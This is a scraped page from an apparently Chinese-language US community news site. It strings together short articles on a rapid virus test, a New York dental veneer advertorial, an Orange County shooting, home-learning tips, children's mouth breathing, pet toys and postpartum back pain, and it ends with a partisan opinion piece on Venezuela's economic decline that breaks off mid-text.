PCR技术需要通过在高低温之间转换,来分离DNA,然后定位病毒基因物质。 索科尔研究所的研究人员采用的是“等温重组酶聚合酶扩增技术”(RPA)。这种技术使用蛋白质来做同样的事情,速度更快。这一测试采用NIRVANA(nanopore sequencing of isothermal rapid viral amplification首字母缩写)技术,被称为“等温快速病毒扩增纳米孔测序”技术。

测试结果在杂志Med上发表,研究人员测试了70种样本,包括10种已知样本和60种未知样本。机器均正确辨识出存在哪些病毒,并将阳性病毒缩小到具体哪种病毒株。而且,这种装置可在同一时间内测试96种样本。

广泛流行的疫情,给人们带来两大挑战:首先能够进行广泛而快速检测,其次是了解患者的病毒变种。研究者之一贝尔蒙特(Izpisua Belmonte)认为,这种方法为目前及未来应对病毒的这两大挑战提供了有希望的解决方案。

2021-04-01 / by / in ,
找回那曾经只在电视上见过的明星笑容~你也办得到!

文|懂你的小伙伴

面子问题,怎能少了牙齿美容,快速击退丑牙不能不知!

你知道吗?全世界只有20%~30%的人,拥有一口整齐、漂亮的牙齿。因为从小到大,生活中我们有太多不良习惯,最终让牙齿「坏坏去」⋯⋯现代人很注重美容,脸上用多贵的保养品、化妆品,甚至整形,但是再怎么整,缺一口好牙,等你一笑、一张嘴⋯⋯直接打回原形(别怪我说话太直啊~)。所以你知道现在最流行、最火的整牙技术是什么吗?

四环素牙、氟斑牙、畸形牙、牙间隙过大等等。从小我们牙齿就很难整齐、完美无缺。现在你有机会完美它。(Pixabay)

不讲你不知道,现在哪一个明星敢说:我从小牙齿就这么美!

明星笑容 非整不可

大牌如Angelababy、林心如、宋慧乔、高圆圆、小S、胡歌⋯⋯网路上一堆他们当明星前,与当明星后的牙齿大比较,真是触目惊心啊⋯⋯(喔应该说:整得多美啊!)

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迷人笑容,其实是需要雕塑的。(Pxhere)

其实,这也很正常,人家明星是靠脸吃饭的,当然要有招牌笑容,如果一口黄牙、歪牙,那能上台吗?所以肯定得整。作为我们这种平凡人,如果也很注重面子问题(也是牙齿健康的问题),牙齿美容一定不能少。

牙齿美容 这个方法快速又持久

牙间隙过大,「瓷贴面」案例,前后对比。 (纽约牙科New York Dental Studio)

在欧美很流行戴牙套矫正,很多明星也都在戴过,不过牙套矫正是调整不正确位置的牙齿,让上下排牙齿定位在理想的位置上,但如果牙齿本身的颜色灰黑、发黄,或是形状不佳,那透过「瓷贴面」是一个很好的牙齿美容项目,迅速有效,还可维持长达15年!

「瓷贴面」也不只是让牙齿美观而已(别这么敷浅好嗎),它还有强化牙齿、修复牙齿的作用。 (不过注意,不是每个人都适合做,一定要经过医师评估后,才能确定适不适合。)

修复牙齿 纽约牙医推荐

牙齿排列不整齐,「瓷贴面」案例,前后对比。 (纽约牙科New York Dental Studio)

据「New York Dental Studio」的黄医生(曼哈顿牙医)指出,瓷贴面是一种牙齿修复体,需要抛光牙齿表面几微米,不会损伤牙釉质,对于牙体表面缺损、着色、变色等有很好的修复效果,主要是为了解决美观问题,可维持长达15年。在黄医师的诊所里有众多的患者采用这种新技术,从而获得迷人的笑容!

有些人可能会说,冷光美白也可解决牙齿颜色的问题。但黄医生说:对于牙齿由于着色(如茶渍、烟渍、咖啡渍),冷光美白有很好的美白牙齿的效果,但是如果牙齿本身是灰色的,那就需要由瓷贴面来解决了。

「瓷贴面」案例,前后对比。 (纽约牙医New York Dental Studio)

瓷贴面用瓷修复材料粘接覆盖其表面,修复牙齿的正常形态和色泽,可解决釉质发育不良、四环素牙、氟斑牙、畸形牙、牙间隙过大(有些不需要矫正,瓷贴面可解决)、邻面龋坏和切端缺损等。

黄医生说:瓷贴面就像是给你的牙齿量身定做的一层衣服。很薄(大约0.2-0.3mm),大概和隐形眼镜的厚度差不多。

「瓷贴面」案例,前后对比。 (纽约牙医New York Dental Studio)

从名字上来看,就知道它的材料由氧化物陶瓷一层层烤制而成,但是只有表面一层,和牙冠不同,不会改变健康牙齿的其他部分。颜色、形状可以根据自己本身情况定制,和国内很多采用的牙冠美容完全不一样。

曼哈顿牙医推荐 最硬牙冠兼具自然质感

当然,黄医师诊所也有制作牙冠的专业服务,有不少人美容牙齿同时用了牙冠、瓷贴面技术。黄医生说:牙冠最重要的目的是保护牙齿。当然随着技术的发展,牙冠的外表也越来越完善。越来越多人开始注重牙冠的美观,不想要有一个和自己本身牙齿差太多的牙冠,避免看起来不真实。

当你做了根管治疗、补了一颗比较大蛀洞的牙,或是物理损伤造成了牙齿的损坏,这个时候你都需要做牙冠来保护受伤的牙齿。

牙冠是全包裹的,在做牙冠前需要磨去部分牙齿,以形成一个良好的贴合面。早期有使用金属内冠烤瓷冠,即外侧烤瓷内侧金属的牙冠,价格较便宜,但就美观度来说,就差很多了。你想想牙齿本身基本是白色,但牙冠却是黄色、银色,一张开牙,这不就又露馅了嘛⋯⋯

暴牙问题矫正。 (纽约牙医New York Dental Studio)

黄医生说:现在有一种烤瓷技术,烤瓷牙也就是我们所说的牙冠。臼齿和前臼齿负责咬合,使用的是全氧化锆牙冠(Full Zirconia Crown),是目前市面上最坚硬的牙冠,透光性强,颜色自然。门牙和小门牙使用的是二矽酸锂冠e.max Crown,最接近牙齿本身的硬度,透光性极佳,完美接近自然牙齿的质感和颜色。

总的来说,门牙要较适合瓷贴面,而后面的臼齿则可能较适合牙冠。不过者都需要医生专业的判断才能帮助患者决定。

所以,欢迎您到纽约牙科「New York Dental Studio」走一遭,找回生命中似乎只在明星脸上看过的灿烂笑容~

牙齿过于拥挤矫正。 (纽约牙医New York Dental Studio)

诊所还有根管治疗、补牙、植牙等医疗服务。牙齿的健康绝对是幸福的大事,也是大享口福的必要条件喔!

纽约牙医:黄医师Brandon Huang DDS小档案(中文沟通没问题!)

纽约牙医:黄医师Brandon Huang DDS。

Dr Brandon Huang 是一位已从事牙科行业超过20年的精英牙科医生,拥有独立的位于纽约曼哈顿中城最核心地段的牙科诊所。黄医生擅长美容牙科,牙齿矫正方面是纽约数一数二的 Invisalign®  VIP Diamond Plus Provider;  牙齿瓷贴面 Veneers 也由于他对美国和亚洲面孔的双重审美做得相当出色,经验丰富、技术一流。

同时他也精通各项牙科手术,补牙、根管治疗、牙冠、拔牙、植牙的技术都深得患者信赖。

而且,在美国已生活近四十年的他,仍通过与凤凰医疗集团两年国际咨询合作,将中文练就可以与病人进行流利的交流的程度,不论是日常生活还是牙科专业用语,都能用你最熟悉的语言为你解释。

纽约牙科(New York Dental Studio)

地址:30 East 60th Street, suite 2402, New York, NY 10022
电话:212.588.1809
网址:https://www.nydentalstudio.com/chinese

2021-04-01 / by / in , , , ,
加州橙县突发枪击案 已知4人死亡,包括一名儿童;嫌犯行凶前似乎锁门

【金牌网讯】更新:加州橙县枪击案,可能与嫌犯和所有在场受害者的生意及个人关系有关。

橙县警察局发言人昨日在新闻发布会上认为,这是一件孤立案件,嫌犯和受害者相互认识。目前,嫌犯
Aminadab Gaxiola Gonzalez,44岁,正在因枪伤医院治疗,病情稳定但很危急。

枪击事件发生在本周三下午5:30,在南加州橙县西林肯大街200号一栋办公楼内。事件造成4人死亡。

在枪击事件中,嫌犯和一名妇女受到枪伤。今日美国报道称,两人都已住院,处于危急状态。警方今日将披露更多细节。

橙县警方在脸书上称,警方在5:30左右收到枪击呼救,赶到事发现场时,枪击案已发生,警方向嫌犯射击,但不清楚嫌犯的伤口是否是自伤。随后,警方在现场找到多名受害者。一名警官涉及这一枪击案。

Shooting In Orange, California, Kills At Least 4, Including A Child | TODAY – YouTube

一名住在大楼街对面的居民对《橙县纪事报》说,刚开始时,他听到很大声的间隔枪响,紧接著又是三声,安静了一下,又是很多枪声,随后是警笛和枪声。

隔壁汽车店的一位商户对洛杉矶时报说,开始时枪声很低,他不觉得是枪声,但紧接著听到大约10声枪击,然后看到很多警察持枪赶来。他随后被警察要求离开商店。

在建筑物内拥有生意的一名业主说,嫌犯明显的锁上了建筑物的出入口,看起来很熟悉这所物业。照片显示,这座建筑物内设有保险公司,财务咨询公司,手机修理店,地产公司、物业管理公司等商家。

近期已连续发生三起重大枪击事件。一周前,科罗拉多州一超市内发生枪击事件,造成10人死亡。更早一些时间,一名枪手在亚特兰大地区几处亚裔按摩馆内造成8人死亡。

2021-04-01 / by / in , ,
在家学习,如何提高学习效率呢?掌握8个要点,让孩子越来越优秀

文|Happy2

新冠肺炎流行期间,孩子们仓促的进入了“在家网上学习”模式。很多家长担忧自己的孩子在家学习没效率。时间越长,越可能会出现两极分化:自律的越来越优秀,反之则越来越差。那么在家学习干扰多,如何提高学习效率呢?

掌握八个步骤,可以帮孩子在家获得更好的学习效果:

1.制定家庭学习时间表

计划有助于执行,帮助孩子们在大脑中形成重视在家学习的概念。在家上学,时间的安排方面和学校上学时间应基本保持一致。否则,时间点错位,会让许多自控能力弱的的孩子,无法适应习惯的改变。

象学校正常开放时期一样,孩子的学习时间表应涵盖孩子正常上课期间所要做的那些事情,包括:起床、锻炼、进餐、学校课程(网上学习)、测试、交流时间等不同的安排。当然,也要给孩子留下足够的锻炼身体和游戏时间,这样有助于帮助他们调整身体,休息大脑,保持学习的兴趣。

时间对每个人都很公平。每个人一天都是24个小时,再怎么挤也有限。但是,世界上有一种重要的东西——效率。教会孩子自主学习,做学习的主人, 拥有了学习能力,无论什么学习状况,孩子们都会取得更好的成绩。

另外,还要据孩子不断变化的需求灵活的调整时间表。但一旦设置好时间,就要鼓励孩子执行下去。

2.学会执行

凡事预而立,不预则废。在家里的孩子会怎么舒服怎么来,困了就睡,饿了就吃,即便是计划做得再好,大脑也不会引起相对的重视。要想把良好的计划变成现实, 除了孩子自律外,家长的作用尤为重要。

刚开始一段时间,家长一定要坚持与孩子一起认真执行。同时也是在向孩子表明家长的重视。一般在21天后,孩子们就会习惯新的计划。

有些学生喜欢熬夜学习,觉得夜里安静干扰少,但如果熬夜太晚,就会影响白天的精神,伤害身体。还有的孩子看手机成瘾,容易忘记时间的安排。父母是孩子的榜样,家长要身体力行,和孩子一块早起、锻炼、进餐等。要善于了解孩子的兴趣爱好,还要监督、引导孩子。

3.在家网上学习,学校会提供打包课程

提前预习,是提高学习效率的关键。在家网上学习对学生的自学能力和自主学习能力都有一定的要求,与在校的接受式学习是不一样的,因此,建议学生在家先提前预习新内容,把自己预习中不理解的问题,做好笔记,在课堂上找到答案。带著问题学习,效率自然就提高了。

注意啦:一定要做好笔记,以备复习用。

课堂上的时间是有限的,课后对学生来说更为重要。有些课程的学习,要加强练习重点、难点。有些则强调阅读、理解。提醒孩子,每天花20分钟左右时间,及时复习白天的内容,有助于他们跟上学习进程。

4.检测当日在家的学习效果

在学校里,老师通过考试来检测学生的学习效果。在家学习,该如何给自己检测呢?最简单的方法也是考试。每天学习结束后,家长需要对孩子当天的学习情况进行检查,主要有如下方法:

A.让孩子简短的复述当天学习的内容,同时可训练记忆力。

B.寻找相应的测试题对孩子检验。

C.鼓励孩子之间的交流学习,互相讲解。

“费曼技巧“可以让孩子记忆深刻,事半功倍。其要点是:通过相互交流和讲解,加深对概念的记忆和理解。

如果能把某个概念讲解的很流畅、到位,说明他对这些知识已经掌握透彻了。否则,说明对这些概念的掌握还不够好。从自己学会,到教授别人,学习能力完全不是一个档次的。家长也要其他父母建立联系,与别的家庭沟通会为您带来宝贵的信息,从中发现更好的解决问题的方式,也确保你的家庭和孩子不与社会脱节。

5.简化学习环境,把无关内容减到最少

学校的环境很简单,有老师、同学、书桌……满满的都是学习氛围。在这种环境里,自然容易专注于学习。家里环境可就复杂了。手机、零食、水果、舒服的沙发、电视,环境太杂、诱惑太多,给孩子的学习制造了很多不必要的障碍。

家长要给孩子创造单独安静的学习空间,然后不要随意去打扰,例如:一会儿过来看两眼,一会儿端来水果一杯水……某些家长认为这是关心,殊不知这样会破坏孩子比较脆弱的专注力。

6.学业很重要,娱乐也重要

学习之余,别忘了给孩子们留出休闲娱乐的时间。例如,孩子们将如何进行体育锻炼?什么时候与其他孩子交往?要充分考虑课外活动,留下足够的时间。

身、心、脑是一体的。学习的发生,是身体、心理和大脑同时运作的结果。建议青少年学习者每学习1小时左右,进行适量适度适时的运动,增加身体的感知。一方面可以预防近视,保护视力;另一方面,可以放松身体,当身体处于较好状态时,学习起来会事半功倍。

7.耐心是最好的工具,培养挖掘孩子的兴趣点

建议家长慢慢地观察孩子的学习效果,无论是哪一种学习模式,学习都是一个循序渐进的过程。家中学习,但也给家长们留下了充足的与孩子们交流的时间,培养孩子的学习兴趣、自信心。

要知道“兴趣是最好的老师”。以鼓励孩子为主,不要斥责孩子,学会换位思考。站在孩子的角度思考,一句鼓励的话,收获的效果可能远远高于你的想象。

8.如果家长没时间,课外辅导也是不错的选择

教育是一项专业训练。有些没有经验训练的父母们,对如何教育孩子可能会一头雾水。但有经验的补习老师可以帮助家长解决这一问题。他们的专业经验,有助于及时发现孩子们在学校学习中存在的问题,拾遗补缺,帮助孩子们赶上学习进程。如果有条件,父母可以和孩子商量有针对性的选择一些科目补习。

必昇教育中心(IVY ROAD PREP),特色教育辅导,小学、中学、高中教育辅导课后辅导, 必昇教育中心(IVY ROAD PREP)补习班暑期班正在热招中,报名专线:(347)761-5500(补习班补习班)。电话:347-761-550,地址:43-44 Kissena Blvd, Flushing, NY 11355

 

2021-04-01 / by / in , , , ,
“口呼吸”会改变孩子容貌?长期后果,比你想象的还糟糕!5个小建议,改变口呼吸

文|雨荷

“口呼吸”不是我们想象中的字面意思,完全经口呼吸,而是口鼻混合呼吸。鼻呼吸是我们正常的生理呼吸,在安静的时候一般都是鼻呼吸。空气由鼻腔进入肺,当各种原因使空气不经鼻腔而由口腔入肺,就形成反射口呼吸。鼻呼吸的时候,气流绝大部分是经过鼻腔的,而口呼吸的时候,经过口腔的气流占总的气流的25%~30%以上。那么口呼吸到底有什么危害呢?

口呼吸會吸入更多病菌,疫情期间更需注意

口呼吸的危害很多。当人们用嘴呼吸时,空气没有经鼻腔过滤而由口腔直接被吸入,病菌、异物直接附着于咽喉部,甚至直接吸入肺部,易诱发口腔疾病和呼吸道感染。长时间张嘴呼吸会使人体内的水分大量丢失,还可能会因为空气的直接刺激,引起牙龈和黏膜,甚至呼吸道病变。尤其是在新冠肺炎流行期间,口呼吸,会带来更大的健康风险。

口呼吸對儿童成长影響大

对儿童来说,口呼吸的负面影响更为明显,容易引起面部结构改变。长期口呼吸的孩子,往往会出现鼻翼萎缩、嘴唇肥厚、下巴后缩、头部前倾、牙齿排列不齐、上前牙前突形成暴牙等特征,严重影响了孩子的颜值,可能会造成面部肌肉不易活动,缺乏表情的“腺样体面容”,还会导致孩子在脑部发育时供氧不足,对孩子的记忆力和智力发育造成不利影响。

口呼吸有什么特征呢?

1.嘴巴开开的;

2.黑眼圈;

3.长脸型但是下巴后缩;

4.姿势不良常常弯腰驼背;

5.白天容易想睡觉;

6.经常鼻塞流鼻涕

7.注意力不集中

8.睡觉流口水

9.打鼾。

口呼吸的動物實驗

关于口呼吸最知名的研究莫过于在1980年代,由美国著名的矫正医师埃吉尔・哈佛(EgilHarvold)对于恒河猴所做的实验,他将一群2至6岁,还在发育中的小猴子的鼻子塞住,让他们只能透过嘴巴呼吸,观察咬合和脸型的变化,发现小猴嘴巴打开、脸型变长、上颚牙弓变窄、下巴后缩、咬合不整。

幸运的是当移除鼻子的阻塞物后,猴子们慢慢回复使用鼻呼吸,脸型也逐渐恢复,但是牙齿咬合的位置无法恢复,也没办法帮猴子透过齿颚矫正恢复咬合功能,结果这群可怜的猴子因为牙齿咬不起来,被拔了好几颗牙。因为这个实验不符合道德伦理,后来被保育人士给禁止了,但我们可以从这个动物实验发现,口呼吸对于颜面的发展有绝对的相关性。

口呼吸的病因

一般来说,口呼吸的病因主要分为两种,一种是病理性的上气道阻塞。上气道阻塞我们很容易理解,上气道分为鼻腔、鼻咽、口咽部,喉咽部,上气道各段都可能发生阻塞引起口呼吸。

儿童鼻腔阻塞最多见的原因如过敏性鼻炎,其他还有鼻甲肥大、慢性鼻炎、鼻窦炎、鼻畸形、鼻中隔偏曲、鼻外伤、后鼻孔闭锁,会造成鼻腔阻塞影响正常的呼吸模式,从而逐渐形成口呼吸。

对于这类患者,首先要到耳鼻喉科就诊,醫治各种导致呼吸道阻塞的原因。若是常见的扁桃体或腺样体肥大,导致口呼吸的发生,可能还需要手术切除肥大的腺样体或扁桃体。

另一种病因就是非疾病引起的习惯性地张口呼吸。是习惯性的口呼吸。这种口呼吸习惯是儿童的无意识行为,在尚未导致儿童产生软组织及骨组织畸形时,就要及时采取措施:让孩子有意识地闭合双唇,利用鼻通气;家长看到孩子口呼吸时,要提醒其恢复鼻通气方式呼吸,并告知口呼吸的危害;帮助锻炼唇部肌肉;睡觉时可以尝试帮助孩子,遮挡嘴巴而不遮盖鼻子呼吸。对孩子成功利用鼻呼吸后给予鼓励,并不断支持孩子坚持使用鼻呼吸。

鼻呼吸的练习

长期使用口呼吸的人,口腔周围的骨骼和肌肉,会适应张口的趋势生长,就会不容易将嘴巴闭起来,就算鼻子问题改善了,牙弓扩张了还是习惯用口呼吸。因此需要花精神来做一些简单的练习,让身体习惯用鼻呼吸,否则治疗的成果没有办法维持,矫正完了之后还是容易有复发的现象。

以下是建议每天都需要做的:

1.每天用半小时以上的来练习用鼻子呼吸,久而久之就会逐渐习惯用鼻子呼吸。睡觉时给孩子戴上,一个三层纱布的特制小口罩,把鼻孔留在外边,迫使其改用鼻腔呼吸。

2.如果方便,每天坚持嘴巴里含一口水,这样就可以保持嘴唇紧闭,没有人注意到也一样可以练习用鼻子呼吸。

3.呼吸练习,鼻子不好的人呼吸常常较为急促,在做呼吸练习的时候闭口慢慢呼吸,让空气经过鼻腔将杂质过滤,鼻黏膜让空气湿润,免疫细胞清除过敏原,身体才能处于一个和缓安定的状态。

4.经常闭口鼓气,如吹口哨、吹小喇叭、吃棒棒糖、咀嚼口香糖并吹泡等,并以舌及颊肌运动促进口腔、牙齿的清洁。

5.运动时闭上嘴巴做跑步、跳绳等运动时,由于需氧量增加,许多人会张大嘴喘气,这同样对身体不利,尤其是冷空气或脏空气入侵,会刺激呼吸道。因此,运动时,尽量闭紧嘴巴用鼻子均匀、有节奏地换气。

这些做法都不需要特殊的道具也容易执行,不管大人小孩都适用,一开始会不太适应,维持时间也较短,但是慢慢的身体就会发现鼻呼吸的好处喔!成功的秘诀还是要持之以恒的练习!

家长对孩子的口呼吸情况要做到随时关注,而对于口呼吸的矫正也最好早一点,越早对孩子的成长越有利。及时纠正不良习惯,还能让孩子的面容自行恢复生长正常。如果等到孩子已经形成面容的改变、牙齿的畸形、嘴型的变化等问题,那就要及时带上孩子去进行矫正。

2021-04-01 / by / in , ,
挑选宠物玩具好烦心?家有宠物的主人看过来,购买宠物玩具的三个小秘诀

文|无疆行者

狗狗“拆家”的骇人景象,相信很多“铲屎官”都有遭遇过。现在城市人总是忙于工作,没有太多闲暇时间陪伴狗狗。当主人离开家时,狗狗就会产生分离焦虑的的情绪,肆无忌惮的破坏家中的物品。

买些宠物玩具,这是让宠物增添乐趣、消磨时光的好办法。专家认为应尽早让幼小宠物接触合适的玩具,让它们习惯咬抓玩具,这样比较不会抓撩沙发家具。市场研究机构AMA Research的调查数据显示,英国每年花费在宠物玩具上的消费超过1亿英镑。

可是自家的狗狗最喜欢的玩具是什么样子的呢?“益智型”、“啃咬型”、“追逐型”,林林总总该如何挑选呢?

今天,小编和大家分享几个购买宠物用玩具的小秘诀,希望能对各位小伙伴有所帮助喔!

一、选择符合猫狗体型尺寸的玩具

最受猫狗欢迎的玩具是符合它们嘴巴“大小适中”的玩具,表面太滑,过大,无法轻易掌控,难以叼起的玩具“不太好玩”,它们往往只会盯着看,只要猫咪狗狗能衔咬、搬运的玩具,它们通常喜欢玩。

若购买了条件不符合的商品,可能会因为尺寸过大、硬度或力道过强,而导致狗儿牙齿、骨骼受损,或是发生误食的危险。

一般给大型犬的玩具材质耐咬,禁得起拉扯,避免买空心或软质的玩具;体型较小或高龄的猫犬,建议选择类似橡胶这种软韧耐咬的材质。

二、注意玩具的材质

为狗狗挑选玩具时,最需要注意的一点,就是玩具的材质了。

目前市面上比较常见的玩具材质是乳胶、橡胶、塑料、帆布、PP棉、绳结等。其中,前三种材质主要用于制作狗狗磨牙用的玩具,也经常会打上“耐咬”的标签;而帆布和PP棉则主要用作制作一些布偶发声玩具;尼龙绳则主要用作制作狗狗拔河玩具。

三、不同游戏方式挑选不同种类的玩具

有些猫狗对声音较敏感,玩具发出声响会吓到,也有的特别喜爱有声音的玩具,而且不同猫咪犬种喜欢的游戏类型也不尽相同。

★★啃咬玩具

换牙期的猫犬总想啃咬东西,建议每天独自玩玩具至少30分钟,让它们习惯独处玩玩具。非换牙期的狗狗也会因好奇而啃咬,无论宠物大小,啃咬玩具是“经久不败款”很受欢迎。

木头与聚丙烯制成的啃咬玩具,或乳胶玩具比较容易咬出碎屑或咬破,耐用与安全性稍显不足,而橡胶玩具重量轻,具有耐咬、弹性和好清洗等优点比较合适。

 

特别是“口腔保健玩具”相当厚实,最好挑选经过检验合格的,含有水果,肉类等香气,狗狗特别好奇,甚至发出吱吱声音,越玩越有趣。还有耐咬洁牙棉绳也能提供给宠物“啃咬”,打结球的设计,让猫狗在玩乐中同时洁牙。

★★拉扯玩具

咬住物体并拉扯是狗狗的本能,扎实而厚粗的编织棉绳会比布条更适合拉扯,牢牢固定在一端,让狗狗自己玩,也可以跟主人一起玩“拔河”游戏,锻炼咬合力,全身肌肉,还能训练扑咬技巧,增强自信心。

洛威纳、德国牧羊犬、杜宾犬等较有警戒心的工作犬,通常会喜欢大块头、耐拉扯的玩具,但在游戏中要适时控制“过激”场面,以免情绪过度亢奋;让狗狗在游戏中有赢也有输,进而学习适当力度。

★★抛接玩具

狗狗都喜欢“你丢我捡”的游戏——滚动的球,投掷飞盘等,拉布拉多、猎犬这类擅长追踪猎物的狗狗特别喜爱,追着会滚会飞的玩具可以玩上个把钟头,大大消耗体力,还能增进饲主与宠物之间的感情。

球体大小要特别注意,像嘴较大的法国斗牛犬等,不可玩较小颗的球,购买无毒,较厚实的弹力橡胶球,耐用又安全。抛接游戏最适合在公园等宽阔场地玩,将球拍落地后又高高弹起,这会让狗狗乐不可支,回到家也没精力“搞破坏”了。

★★益智型玩具

许多聪明猫犬喜欢玩“动动脑”的游戏,贵宾、小猎犬、雪纳瑞等狗狗通常很有兴趣玩“益智型玩具”,例如不倒翁外型的零食罐,将零食放入后,狗狗通过旋转、滚动等方式将零食取出,开心玩乐又能激荡脑力。

★★电动玩具

装有电池的电动玩具能大大满足狗狗好奇心,例如电动跳跳球,有的标榜“检验合格的安全塑胶材质”,给大型犬玩也不怕会咬坏,只要放入电池,设定喜爱的“模式”滚动,猫咪狗狗便一个劲地追着跑。有的电动球充电1小时可使用2—8小时。主人晚上回到家后,记得收起白天所有玩具,以保持狗狗对玩具的新鲜感。

家宠在玩耍中学习,玩玩具可说是生活中重要的一部分。主人可多准备4—5种不同的玩具给猫咪狗狗玩,但不要一次全给,慢慢“推陈出新”,让它们始终对玩具充满兴趣,每天都过得开心。

2021-03-31 / by / in , , , , , , ,
产后腰痛,别让打麻醉背锅;注意4点,可避免及减少腰痛

文|雨荷

在门诊中常常遇到产后腰痛的患者,尤其是分娩镇痛或剖腹产后的妈妈。医生经常会遇到孕妇及家属咨询:打麻醉会不会留下腰痛的后遗症?也有患者问,生完孩子后有点腰痛,是不是无痛分娩造成的?多数妈妈都认为她们的腰痛是麻醉医生打麻醉引起的。

据2012年英国学者收集的世界范围内有关产后腰痛原因的调查结果显示,产后腰痛与无痛分娩没有相关性,其主要还是两大原因:一是腰肌劳损,一是腰椎间盘突出。

腰肌劳损最为常见,妊娠时逐渐增大的子宫使孕妇的腰部支撑力逐渐增加,相当于一个持续的前倾力作用于产妇,腰背肌肉群长期处于紧张状态,加之孕妇不当的休息体位等因素导致腰肌劳损,进而引起腰痛。

此外,妈妈在产后又要经常抱孩子、喂奶,会加重腰肌劳损,导致腰痛。恰巧,剖腹产时麻醉医生往往是在产妇的腰背部穿刺打针,所以一些妈妈会认为她们的腰痛是麻醉医生打麻醉引起的。其实绝大多数情况下还真不是麻醉医生的错,而是长期腰部劳累所致。

韧带松弛易致腰椎间盘突出。在怀孕过程中,由于孕激素增加,会引起身体韧带的松弛,孕妇弯腰的时候多,容易导致腰椎间盘突出,从而引发腰痛。下腰椎、腿部会出现持续性钝痛,而且痛感会越来越强。

产后如何避免及减轻腰痛呢?

通常有以下几个方面需要注意:

1,注意补充营养。围产期适当补钙,多喝牛奶、芝麻等钙丰富的食物,多晒太阳,促进钙的吸收。在防止腰痛的同时,也为胎儿婴儿提供足够的钙。

2,不能常穿高跟鞋:切记产后需要穿著柔软的鞋子,应避免穿有跟的鞋,否则容易导致身体重心前倾,间接影响到腰部,从而诱发腰部的疼痛。

3,动作缓解,确保哺乳姿势、抱宝宝姿势、站立行走蹲坐姿势的正确性。

平时可多做活动来锻炼腰部及盆底肌肉,例如下蹲、伸展活动、提肛收腹活动等。也可以给腰部做做按摩或理疗,使腰部肌肉得到放松。适当做些转腰活动更容易使腰椎稳定,恢复正常曲度。多做这些动作可以起到缓解腰部疼痛的效果,也可使腹部逐渐恢复至孕前状态。

4,不能太过劳累:许多新妈妈们分娩后对自身的休息不注意从而导致身体疲劳过累,另外长时间的站立、蹲坐及腰间扎束太紧等,都有可能产生产后腰痛。产妇需时常关注自己平时生活,确保自己有充分的活动和休息,不能过于疲劳,所做的家务要轻松。

腰痛治疗

产妇产后患上腰痛后,可根据病情轻重情况进行治疗。

病症严重的可以通过针灸、理疗、推拿及药品外敷等手段进行治疗。值得提醒的是,在宝宝吃母乳期间,妈妈需要谨慎食用消炎镇痛之类的药品。这些药品容易在宝宝吃奶期间通过奶液进入身体中,这样的话,很可能影响宝宝的健康成长。

一般来说,许多产妇怀孕阶段的腰痛使得在分娩后也得到了继续。孕期中由于宝宝的逐渐发育成长使得越发加重了产妇的腰后部所承重量以及腰椎前凸,导致了孕期腰部疼痛。

生产后产妇的身体未能快速恢复,从而很有可能使孕期腰痛转化为产后腰痛。不恰当的姿势易导致腰痛的产生。这些都类属于姿势性腰痛,因此这类腰痛的治疗以规范、调整姿势为关键。

 

 

 

2021-03-31 / by / in , , ,
委內瑞拉由富变穷的歪招中共都学会了

文|古风

刚结束的中美两国对话峰会无果而终,由此来看,中美关系应该会越来越紧张。出现这种局面,不完全是中方外交官的水平问题,更主要的原因还是中美两“道不同”。

关注中国问题的专家们都在为中国的未来而担。因为中国是一个人口大国,一旦出现委内瑞拉现象必将会引发全球大动荡。事实上,中国也正在沿着委内瑞拉的老路狂奔,而且动作姿势来越标准。为了让更多人了解委内瑞拉的惨状及成因作者经过一番调查,委內瑞拉由富变穷的原因进行了总结,以便让大家在了解委内瑞拉的同时更加清晰地看到当下中国的走向

委瑞內拉现状

委内瑞拉是南美洲的一个海滨国家,全国现有人口约3000委国有三大世界著名特产,一是美女;二是石油;三是委国有两位超级减肥专家,一个叫查韦、一个马杜罗,他可以在不打针、不吃药的情况下,在1年内,可以80%以上的国民平均体重11公斤,让曾经营养过剩的委国民众全面体验到了由胖子变成皮包骨的感”。

德国媒体报道,委内瑞拉石油储量全球排名第一,也是曾经南美洲最富裕国家可由于委国两任总统坚持走社会主义道路,最终一个美丽富裕的委国推到了绝路如今委国的粮食和药品严重短缺商店货架都是空空如也,各地的加油站缺油关门停业2010年到2020年的10年间,委国的物价涨了100万倍,交车票由过去的2(玻利瓦尔)一张,涨到今天的200万元一张。老百姓每月平均只有1.8万玻利瓦尔(月工资约6.74美元)。

由于生活物资长期匮乏导致长期饥饿 80%以上民众出现营养不良(军队和官员除外) 儿童死亡率节节攀升犯罪率高居世界首位。为了谋生,大量委国民众纷纷逃离本国国际移民组织2019年估计,从2014年开始,已经有300万委国人移居国外,约占委国人囗的10%

瑞拉由富变穷歪招

1走社会主义

1999年2月2日,查韦斯正式当选委内瑞拉第53任总统。他上任以后,就推行一项名为 玻利瓦尔革命的改革措施。查韦斯认为社会改良措施仍不足以完全消除贫困和拯救委内瑞拉因此,2004年底提出建设“21世纪社会主义 的奋斗目标

2007年1月10日,查韦斯连任委内瑞拉总统。他在发表了长达3个多小时的就职演中说,在新任期内,他将推动委内瑞拉建立新的社会主义政治、经济和社会模式,并将其与入宪法。

2取消总统任期制,搞个人独裁

据媒体报道,2009年2月19日,查韦斯颁布了宪法修正案。宪法修正案内容包括取消选举产生的各级官员的连任次数限制。

  查韦斯说,修改过的宪法第230条内容现在变更为“总统任期为6年,可以无限期连任”。通过选举产生的市长、州长、市议员和全国代表大会议员等职位同样适用于这一规定,连任次数不再受到限制。

  在宪法修正案的颁布仪式上,查韦斯要求议会通过立法授予总统特殊权力以便制定“革命法律”。 他已经准备好从2009年到2019年继续领导委内瑞拉的社会主义革命。

3把民企变成国有化

委内瑞拉曾经之所以富裕,是因为市场开放,民企与外资企业是这个国家的经济主体。查韦斯当选总统后,他认为民企和外资企业剥削了本国人民,政府缺乏对经济的主导权的控制。于是,从2002年开始,就以公私合营为名对一些私营企业(包括外资企业)进行征用或国有化这其涉及到石油、农业、金融、重工业、钢铁、电信、能源、交通运输和旅游业等行业的重点企业。尤其是在查韦斯连任后尤为突出2007 2012 ,就有有1147大型私企被国有化。

查韦斯将民企国有化后,市场经济就变成了计划经济,市场活力被彻底抹杀。国有企业不仅效率低下,而且吓跑了所有外国投资者。国家强行征收私营企业导致政府的国际信用彻底破产

为了抵制查韦斯民企国有化政策,反对党开始组织各大规模的大罢工,从而导致石油企业停产,产量下降到之前的三分之一。

为了应对经济下行,查韦斯采取对玻利瓦尔与美元汇率固定化政策,并拒绝美元在市场自由兑换,导致市场美元的需求激增

4、与美为敌与独裁国家为伍

